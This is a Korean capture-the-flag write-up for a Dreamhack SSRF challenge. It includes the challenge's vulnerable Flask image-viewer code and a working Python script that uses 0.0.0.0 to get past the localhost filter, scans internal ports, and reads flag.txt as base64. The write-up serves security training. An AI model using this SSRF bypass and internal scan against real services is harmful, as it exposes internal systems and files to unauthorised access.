web-ssrf
목차
1. SSRF
SSRF란 서버 측 요청 위조 공격으로, 서버의 권한을 이용해 악의적인 요청을 전송하는 공격이다.
2. Code
#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
# flag는 ./flag.txt에 존재
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
# index 페이지
@app.route("/")
def index():
return render_template("index.html")
# /img_viewer는 GET, POST 방식
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
# GET일 때는
if request.method == "GET":
# 페이지 렌더링
return render_template("img_viewer.html")
# POST일 때는
elif request.method == "POST":
# url을 받아서
url = request.form.get("url", "")
# url을 6개의 구성 요소로 구분 -> scheme://netloc/path;parameters?query#fragment
urlp = urlparse(url)
# url[0]이 "/"일 때
if url[0] == "/":
# url을 로컬 호스트로 변경
url = "http://localhost:8000" + url
# urlp의 netloc 부분이 로컬 호스트일 경우
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
# error.png을 읽어옴.
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
# url로부터 content를 받아오는 것을 시도함
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
# 열리지 않을 때 error.png 열기
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
# local host와 port 알아내기
# localhost 설정
local_host = "127.0.0.1"
# local port 설정: 1500 ~ 1800
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
img viewer를 통해 url을 입력 받고 있다.
- 입력 받은 url의 시작이
/일 경우에는http://localhost:8000뒤에 입력 받은 url을 연결시킨다. - 입력 받은 url의 netloc 부분이
localhost,127.0.0.1일 경우에는 에러 이미지가 뜬다.
그 외 나머지 입력에 대해서는 어떠한 검증도 하지 않고 있다.
2번째 경우를 우회하기 위해 0.0.0.0 을 사용한다. 이 주소를 이용해 서버가 자기 자원을 찾도록 할 것이다.
3. Payload
3.1. Scan Port
import base64
import csv
import time
from datetime import datetime, timezone
from urllib.parse import urljoin
from typing import Any
import requests
from bs4 import BeautifulSoup
def now_iso():
return datetime.now(timezone.utc).isoformat()
def show_image_bytes(img_bytes: bytes) -> None:
# 이미지 표시 옵션
from io import BytesIO
from PIL import Image
import matplotlib.pyplot as plt
import numpy as np
image = Image.open(BytesIO(img_bytes))
plt.figure()
plt.imshow(np.asarray(image))
plt.axis("off")
plt.show()
def img_view(session: requests.Session, endpoint: str, target_url: str, timeout=10, show_image=False):
"""
endpoint로 POST(url=target_url) -> 응답 HTML에서 <img src> 추출 -> 이미지 바이트 확보
그리고 시간 측정/메타를 dict로 반환.
show_image=True면 저장 없이 화면에 표시(시각화 패키지 필요).
"""
t0 = time.perf_counter()
row: dict[str, Any] = {
"ttfb_ms": "", # POST 시작 → 헤더 수신까지(ms)
"total_ms": "", # POST 시작 → HTML 바디 읽기 완료까지(ms)
"payload_url": target_url,
"status_code": "",
"img_resolved_url": "", # <img src>가 URL이면 resolve된 최종 URL
"img_get_status": "", # 이미지 GET의 상태코드(또는 빈 값)
"mime": "", # data URI면 data:에서, URL이면 응답 헤더 Content-Type
"img_body_bytes": "", # 최종 이미지 바이트 길이
"error": "", # 예외가 나면 repr 문자열, 없으면 빈 문자열
}
try:
# stream=True로 헤더 수신 시점과 바디 다운로드 완료 시점 분리
# 1. img_viewer에 post 요청 (url=...)
rp = session.post(endpoint, data={"url": target_url}, timeout=timeout, stream=True)
t_headers = time.perf_counter()
row["ttfb_ms"] = round((t_headers - t0) * 1000, 2)
row["status_code"] = rp.status_code
# HTML 필요하니 바디 읽기
html = rp.text # 여기서 body를 읽음(인코딩은 requests가 추정)
t_done = time.perf_counter()
row["total_ms"] = round((t_done - t0) * 1000, 2)
# 응답 HTML에서 <img src> 추출
soup = BeautifulSoup(html, "html.parser")
tag = soup.find("img")
if tag is None:
raise RuntimeError("응답 HTML에서 <img> 태그를 찾지 못했습니다.")
src_raw = tag.get("src")
if not src_raw:
raise RuntimeError("응답 HTML에서 <img src=...>를 찾지 못했습니다.")
src = str(src_raw)
# src가 data URI면 base64 디코드해서 이미지 바이트 확보
if src.startswith("data:image/"):
_, b64data = src.split(",", 1)
img_bytes = base64.b64decode(b64data)
row["img_body_bytes"] = len(img_bytes)
row["mime"] = src.split(";", 1)[0].replace("data:", "")
# URL이면 GET으로 이미지 바이트 확보
else:
img_url = urljoin(rp.url, src)
row["img_resolved_url"] = img_url
ir = session.get(img_url, timeout=timeout)
row["img_get_status"] = ir.status_code
row["mime"] = ir.headers.get("Content-Type", "")
img_bytes = ir.content
row["img_body_bytes"] = len(img_bytes)
# (옵션) 이미지 화면 표시
if show_image:
show_image_bytes(img_bytes)
return row
except Exception as e:
t_err = time.perf_counter()
row["total_ms"] = round((t_err - t0) * 1000, 2)
row["error"] = repr(e)
return row
def main():
endpoint = "http://host3.dreamhack.games:12945/img_viewer"
base = "http://0.0.0.0:"
out_csv = "img_view_timing.csv"
fieldnames = [
"ttfb_ms",
"total_ms",
"payload_url",
"status_code",
"img_resolved_url",
"img_get_status",
"mime",
"img_body_bytes",
"error",
]
# 이미지를 보일 때만 show_image=True
show_image = False
# 요청/응답 타이밍 + 메타 정보를 csv로 저장
with requests.Session() as s, open(out_csv, "w", newline="", encoding="utf-8") as f:
w = csv.DictWriter(f, fieldnames=fieldnames)
w.writeheader()
for port in range(1500, 1801):
target_url = base + f"{port}" + "/static/dream.png"
row = img_view(s, endpoint, target_url, timeout=10, show_image=show_image)
w.writerow(row)
# 콘솔에 로그 출력
print(port, row["status_code"], row["ttfb_ms"], row["total_ms"], row["error"][:80] if row["error"] else "")
print(f"saved -> {out_csv}")
if __name__ == "__main__":
main()
접속이 안 된다거나 → http status
접속 딜레이의 차이가 있다거나 → ttfb_ms(첫 응답 헤더를 받기까지 걸린 시간), total_ms(총 시간)
에서 결과를 찾을 것이라 예상했다.

port scan 결과 csv
예상 외로 img_body_bytes(이미지 바이트 크기)의 차이에서 port를 찾을 수 있었다. 바로 error.png와 dream.png의 이미지 크기 차이였다.

찾은 port
3.2. Flag
Code를 보면 flag는 ./flag.txt 위치에 있다.
http://0.0.0.0:[port]/flag.txt

F12로 img src 확인
이러한 결과를 얻을 수 있는데, 이것은 flag 값이 base64로 인코딩된 것이다.

base64로 디코딩한 결과
base64로 디코딩을 하게 되면 flag 를 얻을 수 있다.
Comments